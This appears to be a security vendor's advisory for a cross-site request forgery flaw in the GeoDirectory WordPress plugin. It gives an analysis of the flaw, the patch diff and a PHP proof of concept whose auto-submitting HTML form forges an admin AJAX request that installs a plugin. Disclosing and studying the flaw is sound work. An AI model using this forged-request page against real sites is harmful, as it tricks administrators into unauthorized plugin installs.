Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24549: GeoDirectory <= 2.8.149 – Cross-Site Request Forgery (geodirectory)

Plugin geodirectory
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.8.149
Patched Version 2.8.150
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24549:
The GeoDirectory WordPress plugin version 2.8.149 and earlier contains a Cross-Site Request Forgery vulnerability in its AyeCode Connect Helper component. This vulnerability allows unauthenticated attackers to trigger the installation and activation of the AyeCode Connect plugin via a forged request, requiring only that an administrator clicks a malicious link. The CVSS score of 4.3 reflects the required administrator interaction for successful exploitation.

Atomic Edge research identifies the root cause as missing security checks in the `ayecode_connect_install()` function within `/geodirectory/vendor/ayecode/ayecode-connect-helper/ayecode-connect-helper.php`. The vulnerable function at line 93 lacked both nonce verification and capability checks before executing privileged operations. This omission violates WordPress security standards for AJAX handlers that perform administrative actions.

The exploitation method involves crafting a CSRF attack targeting the WordPress AJAX endpoint. Attackers would send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ayecode_connect_install`. No nonce parameter is required due to the missing validation. The attacker must trick a logged-in administrator with `manage_options` capability into submitting this request, typically through a malicious link or page embedding the request.

The patch adds three security checks at the beginning of the `ayecode_connect_install()` function. Line 94 adds `check_ajax_referer(‘ayecode-connect-helper’, ‘security’)` to verify the nonce. Lines 96-98 add `if (!current_user_can(‘manage_options’))` to ensure only administrators can execute the function. These changes enforce proper WordPress security practices for AJAX handlers performing privileged operations.

Successful exploitation allows attackers to install and activate the AyeCode Connect plugin without authorization. While this specific action may not directly compromise site security, it demonstrates a broader pattern of missing access controls that could be leveraged in chained attacks. The vulnerability enables unauthorized plugin installation, which could serve as a foothold for further exploitation if combined with other weaknesses.

Differential between vulnerable and patched code

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.149
+ * Version: 2.8.150
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.149';
+		public $version = '2.8.150';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/core-functions.php
+++ b/geodirectory/includes/core-functions.php
@@ -1101,7 +1101,10 @@
 				echo "<div class='gd-search-input-wrapper gd-search-field-cpt $wrap_class' " . $attrs . ">";
 			}

-			$select_class = $design_style ? " form-control " . ( $aui_bs5 ? 'form-select' : 'custom-select' ) : '';
+			$select_class = $design_style ? " form-control " . ($aui_bs5 ? 'form-select' : 'custom-select') : '';
+			if ($design_style && !empty($geodir_search_widget_params['input_size'])) {
+				$select_class .= $aui_bs5 ? ' form-select-' . $geodir_search_widget_params['input_size'] : ' custom-select-' . $geodir_search_widget_params['input_size'] . ' form-control-' . $geodir_search_widget_params['input_size'];
+			}

 			echo $design_style ? '<div class="' . ( $aui_bs5 ? '' : 'form-group' ) . '">' : '';
 			echo $design_style ? '<label class="sr-only visually-hidden">'.__("Select search type","geodirectory").'</label>' : '';
--- a/geodirectory/includes/widgets/class-geodir-widget-listings.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-listings.php
@@ -1308,7 +1308,30 @@
 		$location_allowed = GeoDir_Post_types::supports( $post_type, 'location' );
 		$nearby_gps       = false;

-		if ( $location_allowed && $add_location_filter && ( $user_lat = get_query_var( 'user_lat' ) ) && ( $user_lon = get_query_var( 'user_lon' ) ) && geodir_is_page( 'location' ) ) {
+		if ( $location_allowed && $add_location_filter && ( ! empty( $instance['neighbourhood'] ) || ! empty( $instance['city'] ) || ! empty( $instance['region'] ) || ! empty( $instance['country'] ) ) ) {
+			$url_args = array(
+				'geodir_search' => 1,
+				'stype'         => $post_type,
+				's'             => '',
+				'snear'         => ''
+			);
+
+			if ( ! empty( $category ) && ! in_array( '0', $category ) ) {
+				$url_args['spost_category'] = $category;
+			}
+
+			if ( ! empty( $instance['neighbourhood'] ) ) {
+				$url_args['neighbourhood'] = $instance['neighbourhood'];
+			} elseif ( ! empty( $instance['city'] ) ) {
+				$url_args['city'] = $instance['city'];
+			} elseif ( ! empty( $instance['region'] ) ) {
+				$url_args['region'] = $instance['region'];
+			} else {
+				$url_args['country'] = $instance['country'];
+			}
+
+			$viewall_url = add_query_arg( $url_args, geodir_search_page_base_url() );
+		} elseif ( $location_allowed && $add_location_filter && ( $user_lat = get_query_var( 'user_lat' ) ) && ( $user_lon = get_query_var( 'user_lon' ) ) && geodir_is_page( 'location' ) ) {
 			$viewall_url = add_query_arg(
 				array(
 					'geodir_search' => 1,
@@ -1322,7 +1345,7 @@
 			);

 			if ( ! empty( $category ) && ! in_array( '0', $category ) ) {
-				$viewall_url = add_query_arg( array( 's' . $post_type . 'category' => $category ), $viewall_url );
+				$viewall_url = add_query_arg( array( 'spost_category' => $category ), $viewall_url );
 			}
 		} elseif ( $location_allowed && ! empty( $instance['nearby_gps'] ) && ( $ip = geodir_get_ip() ) && ( $geo = geodir_geo_by_ip( $ip ) ) ) {
 			if ( $this->is_preview() && ! empty( $geodirectory->location ) && ( $default_location = $geodirectory->location->get_default_location() ) ) {
@@ -1348,7 +1371,7 @@
 			);

 			if ( ! empty( $category ) && ! in_array( '0', $category ) ) {
-				$viewall_url = add_query_arg( array( 's' . $post_type . 'category' => $category ), $viewall_url );
+				$viewall_url = add_query_arg( array( 'spost_category' => $category ), $viewall_url );
 			}
 		} else {
 			$viewall_url = get_post_type_archive_link( $post_type );
--- a/geodirectory/vendor/ayecode/ayecode-connect-helper/ayecode-connect-helper.php
+++ b/geodirectory/vendor/ayecode/ayecode-connect-helper/ayecode-connect-helper.php
@@ -12,7 +12,7 @@
 	class AyeCode_Connect_Helper {

 		// Hold the version number
-		var $version = "1.0.4";
+		var $version = "1.0.5";

 		// Hold the default strings.
 		var $strings = array();
@@ -93,6 +93,13 @@
 		 * Install and activate the AyeCode Connect Plugin
 		 */
 		public function ayecode_connect_install() {
+			// Security check.
+			check_ajax_referer( 'ayecode-connect-helper', 'security' );
+
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( $this->strings['error'] );
+			}
+
 			// bail if localhost
 			if ( $this->is_localhost() ) {
 				wp_send_json_error( $this->strings['error_localhost'] );
--- a/geodirectory/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
+++ b/geodirectory/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
@@ -15,7 +15,7 @@
  */
 add_action('after_setup_theme', function () {
 	global $ayecode_ui_version,$ayecode_ui_file_key;
-	$this_version = "0.2.42";
+	$this_version = "0.2.43";
 	if(empty($ayecode_ui_version) || version_compare($this_version , $ayecode_ui_version, '>')){
 		$ayecode_ui_version = $this_version ;
 		$ayecode_ui_file_key = wp_hash( __FILE__ );
--- a/geodirectory/vendor/ayecode/wp-ayecode-ui/example-plugin.php
+++ b/geodirectory/vendor/ayecode/wp-ayecode-ui/example-plugin.php
@@ -3,7 +3,7 @@
 Plugin Name: AyeCode UI
 Plugin URI: https://ayecode.io/
 Description: This is an example plugin to test AyeCode UI Quickly.
-Version: 0.2.42
+Version: 0.2.43
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -11,7 +11,7 @@
 Text Domain: ayecode-ui
 Domain Path: /languages
 Requires at least: 5.0
-Tested up to: 6.8
+Tested up to: 6.9
 */

 // If this file is called directly, abort.
--- a/geodirectory/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
+++ b/geodirectory/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
@@ -35,7 +35,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '0.2.42';
+		public $version = '0.2.43';

 		/**
 		 * Class textdomain.
--- a/geodirectory/vendor/ayecode/wp-super-duper/sd-functions.php
+++ b/geodirectory/vendor/ayecode/wp-super-duper/sd-functions.php
@@ -232,7 +232,7 @@
 			'rounded-bottom' => 'rounded-bottom',
 			'rounded-left'   => 'rounded-left',
 		);
-		$defaults['element_require'] = '([%border%]&&[%border%]!="0")';
+		$defaults['element_require'] = '(([%border%]&&[%border%]!="0")||[%rounded%])';
 	} elseif ( 'rounded_size' === $type ) {
 		$defaults['title'] = __( 'Border radius size', 'ayecode-connect' );

@@ -254,7 +254,7 @@
 				'lg' => __( 'Large', 'ayecode-connect' ),
 			);
 		}
-		$defaults['element_require'] = '([%border%]&&[%border%]!="0")';
+		$defaults['element_require'] = '(([%border%]&&[%border%]!="0")||[%rounded_size%]!="")';
 	} elseif ( 'width' === $type ) { // BS%
 		$defaults['title']           = __( 'Border width', 'ayecode-connect' );
 		$defaults['options']         = array(
--- a/geodirectory/vendor/ayecode/wp-super-duper/sd-plugin.php
+++ b/geodirectory/vendor/ayecode/wp-super-duper/sd-plugin.php
@@ -5,13 +5,13 @@
  * @wordpress-plugin
  * Plugin Name: Super Duper - Examples
  * Description: This is a Hello World test plugin for WP Super Duper Class.
- * Version: 1.2.30
+ * Version: 1.2.31
  * Author: AyeCode
  * Author URI: https://ayecode.io
  * Text Domain: super-duper
  * Domain Path: /languages
  * Requires at least: 5.0
- * Tested up to: 6.8
+ * Tested up to: 6.9
  */

 if ( ! defined( 'ABSPATH' ) ) {
--- a/geodirectory/vendor/ayecode/wp-super-duper/wp-super-duper.php
+++ b/geodirectory/vendor/ayecode/wp-super-duper/wp-super-duper.php
@@ -5,7 +5,7 @@

 if ( ! class_exists( 'WP_Super_Duper' ) ) {

-	define( 'SUPER_DUPER_VER', '1.2.30' );
+	define( 'SUPER_DUPER_VER', '1.2.31' );

 	/**
 	 * A Class to be able to create a Widget, Shortcode or Block to be able to output content for WordPress.
--- a/geodirectory/vendor/composer/installed.php
+++ b/geodirectory/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'ayecode/geodirectory',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'e01d6bb4a83d742699780c6b6b94049c9f8579f9',
+        'reference' => '009e2f7bddd59c9b87095276c0da10e656844bb8',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'ayecode/ayecode-connect-helper' => array(
-            'pretty_version' => '1.0.4',
-            'version' => '1.0.4.0',
-            'reference' => 'd9d9ba849b808a38bb23532e7585c4186bc086cd',
+            'pretty_version' => '1.0.5',
+            'version' => '1.0.5.0',
+            'reference' => 'e778b5e3a3b8e7550ef8e82ed45550b593af683d',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/ayecode-connect-helper',
             'aliases' => array(),
@@ -22,16 +22,16 @@
         'ayecode/geodirectory' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'e01d6bb4a83d742699780c6b6b94049c9f8579f9',
+            'reference' => '009e2f7bddd59c9b87095276c0da10e656844bb8',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'ayecode/wp-ayecode-ui' => array(
-            'pretty_version' => '0.2.42',
-            'version' => '0.2.42.0',
-            'reference' => '41cee308506cd448b1b97167c1a3d125805611d2',
+            'pretty_version' => '0.2.43',
+            'version' => '0.2.43.0',
+            'reference' => '75232df33684c7e28b58569431ffd6463a02759a',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-ayecode-ui',
             'aliases' => array(),
@@ -65,9 +65,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-super-duper' => array(
-            'pretty_version' => '1.2.30',
-            'version' => '1.2.30.0',
-            'reference' => '49f3b1bbc46240ada865c7cc00900860b15e2f2e',
+            'pretty_version' => '1.2.31',
+            'version' => '1.2.31.0',
+            'reference' => '71d4ea3f9eaecd2ff582b23f0dc716d6b65e36db',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-super-duper',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24549 - GeoDirectory <= 2.8.149 - Cross-Site Request Forgery

<?php
/**
 * Proof of Concept for CVE-2026-24549
 * This script demonstrates CSRF against GeoDirectory's ayecode_connect_install AJAX handler
 * Requires an authenticated administrator to visit a page containing this exploit
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action
$action = 'ayecode_connect_install';

// No nonce parameter is required due to missing validation in vulnerable versions
$post_data = array(
    'action' => $action
    // Note: The 'security' parameter with nonce would normally be required here,
    // but the vulnerability allows bypassing this requirement
);

// Create HTML form that auto-submits via JavaScript
$html_form = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>GeoDirectory CSRF PoC</title>
</head>
<body>
    <h2>Atomic Edge CVE-2026-24549 Proof of Concept</h2>
    <p>This page demonstrates the CSRF vulnerability in GeoDirectory <= 2.8.149.</p>
    <p>When visited by a logged-in administrator, it will trigger the ayecode_connect_install AJAX action.</p>
    
    <form id="csrf_form" method="POST" action="$target_url">
        <input type="hidden" name="action" value="$action">
        <!-- No nonce parameter included - this is the vulnerability -->
    </form>
    
    <script>
        // Auto-submit the form after page load
        document.addEventListener('DOMContentLoaded', function() {
            console.log('Submitting CSRF request to $target_url');
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>
HTML;

// Output the form
echo $html_form;

// Alternative: Direct cURL request (for testing purposes)
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School